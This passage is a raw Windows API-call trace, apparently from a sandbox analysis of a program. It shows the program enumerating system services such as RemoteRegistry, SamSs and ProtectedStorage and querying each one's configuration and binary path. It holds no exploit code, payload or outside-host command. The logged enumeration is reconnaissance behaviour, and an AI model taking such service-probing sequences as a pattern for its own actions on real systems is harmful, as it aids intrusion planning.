pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.632] GetLastError () returned 0x7a [0032.632] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x166, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x1e2b8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpsvc", lpUsedDefaultChar=0x0) returned 7 [0032.632] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PNRPsvc", dwDesiredAccess=0x1) returned 0x2d3790 [0032.632] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.632] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.633] GetLastError () returned 0x7a [0032.633] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2b8d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x1e2b918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policyagent", lpUsedDefaultChar=0x0) returned 11 [0032.633] OpenServiceW (hSCManager=0x2d3600, lpServiceName="PolicyAgent", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.633] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.633] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.634] GetLastError () returned 0x7a [0032.634] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x160, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2b960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x1e2b960, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="power", lpUsedDefaultChar=0x0) returned 5 [0032.634] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Power", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.634] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.634] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.634] GetLastError () returned 0x7a [0032.634] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0xfa, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2b9a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x1e2b9a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="profsvc", lpUsedDefaultChar=0x0) returned 7 [0032.635] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ProfSvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.635] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.635] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.635] GetLastError () returned 0x7a [0032.635] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2b9f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x1e2b9f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protectedstorage", lpUsedDefaultChar=0x0) returned 16 [0032.636] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ProtectedStorage", dwDesiredAccess=0x1) returned 0x2d3790 [0032.636] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.636] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.636] GetLastError () returned 0x7a [0032.636] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0xec, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e2ba38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0032.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x1e2ba38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qwave", lpUsedDefaultChar=0x0) returned 5 [0032.636] OpenServiceW (hSCManager=0x2d3600, lpServiceName="QWAVE", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.636] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.637] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.637] GetLastError () returned 0x7a [0032.637] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x1a8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2ba80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x1e2ba80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasauto", lpUsedDefaultChar=0x0) returned 7 [0032.637] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RasAuto", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.637] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.637] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.638] GetLastError () returned 0x7a [0032.638] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x1e2bac8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasman", lpUsedDefaultChar=0x0) returned 6 [0032.638] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RasMan", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.638] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.638] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.639] GetLastError () returned 0x7a [0032.639] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x138, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bb10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x1e2bb10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteaccess", lpUsedDefaultChar=0x0) returned 12 [0032.639] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RemoteAccess", dwDesiredAccess=0x1) returned 0x2d3790 [0032.639] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.639] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.639] GetLastError () returned 0x7a [0032.639] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bb58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x1e2bb58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteregistry", lpUsedDefaultChar=0x0) returned 14 [0032.640] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RemoteRegistry", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.640] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.640] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.640] GetLastError () returned 0x7a [0032.640] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x11c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bba0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x1e2bba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpceptmapper", lpUsedDefaultChar=0x0) returned 12 [0032.641] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RpcEptMapper", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.641] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.641] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.641] GetLastError () returned 0x7a [0032.641] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bbe8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x1e2bbe8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpclocator", lpUsedDefaultChar=0x0) returned 10 [0032.642] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RpcLocator", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.642] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.642] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.642] GetLastError () returned 0x7a [0032.642] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x12a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x1e2bc30, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="locator.exe", lpUsedDefaultChar=0x0) returned 11 [0032.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x1e2bc30, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpcss", lpUsedDefaultChar=0x0) returned 5 [0032.642] OpenServiceW (hSCManager=0x2d3600, lpServiceName="RpcSs", dwDesiredAccess=0x1) returned 0x2d3790 [0032.643] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.643] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.643] GetLastError () returned 0x7a [0032.643] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x17e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2bc78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x1e2bc78, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="samss", lpUsedDefaultChar=0x0) returned 5 [0032.643] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SamSs", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.643] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.643] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.644] GetLastError () returned 0x7a [0032.644] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e2bcc0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0032.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scardsvr", cchWideChar=8, lpMultiByteStr=0x1e2bcc0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scardsvr", lpUsedDefaultChar=0x0) returned 8 [0032.644] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SCardSvr", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.644] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.644] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.644] GetLastError () returned 0x7a [0032.645] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 